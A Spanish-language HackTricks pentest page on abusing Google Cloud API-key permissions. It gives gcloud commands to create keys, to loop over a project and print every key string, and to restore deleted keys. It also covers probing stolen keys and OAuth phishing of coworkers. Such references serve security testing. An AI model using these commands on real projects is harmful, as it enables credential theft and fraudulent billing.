GCP - Apikeys Privesc

Support HackTricks

Apikeys

Los siguientes permisos son útiles para crear y robar claves API, no esto de la documentación: Una clave API es una cadena encriptada simple que identifica una aplicación sin ningún principal. Son útiles para acceder a datos públicos de forma anónima, y se utilizan para asociar solicitudes API con tu proyecto para cuota y facturación.

Por lo tanto, con una clave API puedes hacer que esa empresa pague por tu uso de la API, pero no podrás escalar privilegios.

Para más información sobre claves API consulta:

Para otras formas de crear claves API consulta:

Acceso a clave API por fuerza bruta

Como puede que no sepas qué APIs están habilitadas en el proyecto o las restricciones aplicadas a la clave API que encontraste, sería interesante ejecutar la herramienta https://github.com/ozguralp/gmapsapiscanner y verificar a qué puedes acceder con la clave API.

apikeys.keys.create

Este permiso permite crear una clave API:

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

Puedes encontrar un script para automatizar la creación, explotación y limpieza de un entorno vulnerable aquí.

Ten en cuenta que, por defecto, los usuarios tienen permisos para crear nuevos proyectos y se les otorga el rol de Owner sobre el nuevo proyecto. Así que un usuario podría crear un proyecto y una clave API dentro de este proyecto.

apikeys.keys.getKeyString , apikeys.keys.list

Estos permisos permiten listar y obtener todas las apiKeys y obtener la clave:

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

Puedes encontrar un script para automatizar la creación, explotación y limpieza de un entorno vulnerable aquí.

apikeys.keys.undelete , apikeys.keys.list

Estos permisos te permiten listar y regenerar claves de API eliminadas. La clave de API se proporciona en la salida después de que se complete la recuperación:

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

Crear aplicación interna de OAuth para phishing a otros trabajadores

Consulta la siguiente página para aprender cómo hacer esto, aunque esta acción pertenece al servicio clientauthconfig según la documentación:

Apoya a HackTricks

Last updated